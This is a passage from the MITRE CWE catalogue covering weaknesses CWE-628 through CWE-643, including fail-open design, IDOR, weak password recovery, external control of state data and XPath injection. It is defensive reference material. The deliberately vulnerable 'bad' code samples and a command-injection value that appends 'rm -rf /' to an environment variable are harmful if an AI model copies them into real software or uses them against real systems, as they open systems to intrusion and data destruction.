Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	914	Improper Control of Dynamically-Identified Variables	1589
PeerOf	B	183	Permissive List of Allowed Inputs	424

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Background Details

Many interpreted languages support the use of a "$$varname" construct to set a variable whose name is specified by the $varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as $$funcname(arg1, arg2).

Alternate Terms

Dynamic evaluation :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Modify Application Data Execute Unauthorized Code or Commands *An attacker could gain unauthorized access to internal program variables and execute arbitrary code.*	

Potential Mitigations

Phase: Implementation

Strategy = Refactoring

Refactor the code to avoid dynamic variable evaluation whenever possible.

Phase: Implementation

Strategy = Input Validation

Use only allowlists of acceptable variable or function names.

Phase: Implementation

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

Observed Examples

Reference	Description
CVE-2009-0422	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0422*
CVE-2007-2431	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected $_SERVER variable for resultant XSS. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2431*
CVE-2006-4904	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4904*
CVE-2006-4019	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4019*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Research Gap

Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register_globals.

References

[REF-517]Steve Christey. "Dynamic Evaluation Vulnerabilities in PHP applications". Full-Disclosure. 2006 May 3. < http://seclists.org/fulldisclosure/2006/May/0035.html >.

CWE-628: Function Call with Incorrectly Specified Arguments

Weakness ID : 628 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.

Extended Description

There are multiple ways in which this weakness can be introduced, including:

- the wrong variable or reference;
- an incorrect number of arguments;
- incorrect order of arguments;
- wrong type of arguments; or
- wrong value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1153
ParentOf	V	683	Function Call With Incorrect Order of Arguments	1330
ParentOf	V	685	Function Call With Incorrect Number of Arguments	1333
ParentOf	V	686	Function Call With Incorrect Argument Type	1334
ParentOf	V	687	Function Call With Incorrectly Specified Argument Value	1335
ParentOf	V	688	Function Call With Incorrect Variable or Reference as Argument	1337

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Primary : This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *This weakness can cause unintended behavior and can lead to additional weaknesses such as allowing an attacker to gain unintended access to system resources.*	

Detection Methods

Other

Since these bugs typically introduce obviously incorrect behavior, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.

Potential Mitigations

Phase: Build and Compilation

Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.

Phase: Architecture and Design

Make sure your API's are stable before you use them in production code.

Demonstrative Examples

Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

Example Language: PHP *(bad)*

```
function authenticate($username, $password) {
    // authenticate user
    ...
}
authenticate($_POST['password'], $_POST['username']);
```

Example 2:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Example Language: Perl *(bad)*

```
sub ReportAuth {
    my ($username, $result, $fatal) = @_;
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") && $fatal) {
        die "Failed!\n";
    }
}
sub PrivilegedFunc
{
    my $result = CheckAuth($username);
    ReportAuth($username, $result, 0);
    DoReallyImportantStuff();
}
```

Example 3:

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

Example Language: Java *(bad)*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
    String[] userRoles = getUserRoles(user);
    return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
    // grant or deny access based on user roles
    ...
}
```

Observed Examples

Reference	Description
CVE-2006-7049	The method calls the functions with the wrong argument order, which allows remote attackers to bypass intended access restrictions. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7049*

CWE-636: Not Failing Securely ('Failing Open')

Weakness ID : 636 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.

Extended Description

By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to "fail functional" to minimize administration and support costs, instead of "failing safe."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1389
ChildOf	C	657	Violation of Secure Design Principles	1287
ParentOf	B	455	Non-exit on Failed Initialization	969
PeerOf	B	280	Improper Handling of Insufficient Permissions or Privileges	613

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Failing Open :

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *Intended access restrictions can be bypassed, which is often contradictory to what the product's administrator expects.*	

Potential Mitigations

Phase: Architecture and Design

Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

Demonstrative Examples

Example 1:

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

Observed Examples

Reference	Description
CVE-2007-5277	The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5277*
CVE-2006-4407	Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4407*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	1878
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1939

Notes

Research Gap

Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).

CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

Weakness ID : 637 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.

Extended Description

Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in

assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	657	Violation of Secure Design Principles	1287

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Unnecessary Complexity :

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.

Demonstrative Examples

Example 1:

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

Example 2:

HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.

Observed Examples

Reference	Description
CVE-2007-6067	Support for complex regular expressions leads to a resultant algorithmic complexity weakness (CWE-407). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6067*
CVE-2007-1552	Either a filename extension and a Content-Type header could be used to infer the file type, but the developer only checks the Content-Type, enabling unrestricted file upload (CWE-434).

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1552
CVE-2007-6479	In Apache environments, a "filename.php.gif" can be redirected to the PHP interpreter instead of being sent as an image/gif directly to the user. Not knowing this, the developer only checks the last extension of a submitted filename, enabling arbitrary code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6479*
CVE-2005-2148	The developer cleanses the $_REQUEST superglobal array, but PHP also populates $_GET, allowing attackers to bypass the protection mechanism and conduct SQL injection attacks against code that uses $_GET. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2148*

MemberOf Relationships

CWE-638: Not Using Complete Mediation

Weakness ID : 638 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	862	Missing Authorization	1567
ChildOf	B	657	Violation of Secure Design Principles	1287
ParentOf	B	424	Improper Protection of Alternate Path	914

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control Other	Gain Privileges or Assume Identity Execute Unauthorized Code or Commands Bypass Protection Mechanism Read Application Data Other *A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.*	

Potential Mitigations

Phase: Architecture and Design

Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

Phase: Architecture and Design

Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.

Demonstrative Examples

Example 1:

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

Example 2:

When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.

Observed Examples

Reference	Description
CVE-2007-0408	Server does not properly validate client certificates when reusing cached connections. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0408*

CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID : 639 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013
MemberOf	C	840	Business Logic Errors	1900

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Insecure Direct Object Reference / IDOR : The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.

Horizontal Authorization : "Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *Access control checks for specific user data or functionality can be bypassed.*	
Access Control	Gain Privileges or Assume Identity *Horizontal escalation of privilege is possible (one user can view/modify information of another user).*	
Access Control	Gain Privileges or Assume Identity *Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.*	

Potential Mitigations

Phase: Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Phase: Architecture and Design

Phase: Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Phase: Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

Weakness ID : 640 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

Extended Description

It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account. Weak password recovery schemes completely undermine a strong password authentication scheme.

This weakness may be that the security question is too easy to guess or find an answer to (e.g. because the question is too common, or the answers can be found using social media). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855
MemberOf	C	840	Business Logic Errors	1900

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.*	
Availability	DoS: Resource Consumption (Other) *An attacker could deny service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users.*	
Integrity Other	Other *The system's security functionality is turned against the system by the attacker.*	

Potential Mitigations

Phase: Architecture and Design

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

Phase: Architecture and Design

Do not use standard weak security questions and use several security questions.

Phase: Architecture and Design

Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

Phase: Architecture and Design

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

Phase: Architecture and Design

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

Phase: Architecture and Design

Assign a new temporary password rather than revealing the original password.

Demonstrative Examples

Example 1:

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975

Notes

Maintenance

This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).

Maintenance

This entry probably needs to be split; see extended description.

CWE-641: Improper Restriction of Names for Files and Other Resources

Weakness ID : 641 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.

Extended Description

This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Execution of arbitrary code in the context of usage of the resources with dangerous names.*	
Confidentiality Availability	Read Application Data DoS: Crash, Exit, or Restart *Crash of the consumer code of these resources resulting in information leakage or denial of service.*	

Potential Mitigations

Phase: Architecture and Design

Do not allow users to control names of resources used on the server side.

Phase: Architecture and Design

Perform allowlist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

Phase: Architecture and Design

Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-642: External Control of Critical State Data

Weakness ID : 642 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software stores security-critical state information about its users, or the software itself, in a location that is accessible to unauthorized actors.

Extended Description

If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.*	
Confidentiality	Read Application Data *The state variables may contain sensitive information that should not be known by the client.*	
Availability	DoS: Crash, Exit, or Restart *By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.*	

Potential Mitigations

Phase: Architecture and Design

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or they may not consider that environment variables can be modified before a privileged program is invoked.

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC)

algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use some frameworks can maintain the state for you. Examples include ASP.NET View State and the OWASP ESAPI Session Management feature. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

Example 2:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Example Language: Java *(bad)*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 3:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Example Language: Java *(bad)*

```
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);
```

Example 4:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

Example Language: C *(bad)*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

The user sets the PATH to reference a directory under that user's control, such as "/my/dir/".
The user creates a malicious program called "ls", and puts that program in /my/dir
The user executes the program.
When system() is executed, the shell consults the PATH to find the ls program
The program finds the malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".
The program executes the malicious program with the raised privileges.

Example 5:

This code prints all of the running processes belonging to the current user.

Example Language: PHP *(bad)*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (CWE-78)
$userName = getCurrentUser();
$command = 'ps aux | grep ' . $userName;
system($command);
```

This program is also vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

Example 6:

The following code segment implements a basic server that uses the "ls" program to perform a directory listing of the directory that is listed in the "HOMEDIR" environment variable. The code intends to allow the user to specify an alternate "LANG" environment variable. This causes "ls" to customize its output based on a given language, which is an important capability when supporting internationalization.

Example Language: Perl *(bad)*

```
$ENV{"HOMEDIR"} = "/home/mydir/public/";
my $stream = AcceptUntrustedInputStream();
while (<$stream>) {
    chomp;
    if (/^ENV ([\w\_]+) (.*)/) {
        $ENV{$1} = $2;
    }
    elsif (/^QUIT/) { ... }
    elsif (/^LIST/) {
        open($fh, "/bin/ls -l $ENV{HOMEDIR}|");
        while (<$fh>) {
            SendOutput($stream, "FILEINFO: $_");
        }
        close($fh);
    }
}
```

The programmer takes care to call a specific "ls" program and sets the HOMEDIR to a fixed value. However, an attacker can use a command such as "ENV HOMEDIR /secret/directory" to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting HOMEDIR to a value such as "/tmp; rm -rf /". In this case, the programmer never intends for HOMEDIR to be modified, so input validation for HOMEDIR is not the solution. A partial solution would be an allowlist that only allows the LANG variable to be specified in the ENV command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

Weakness ID : 643 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Scope	Impact	Likelihood
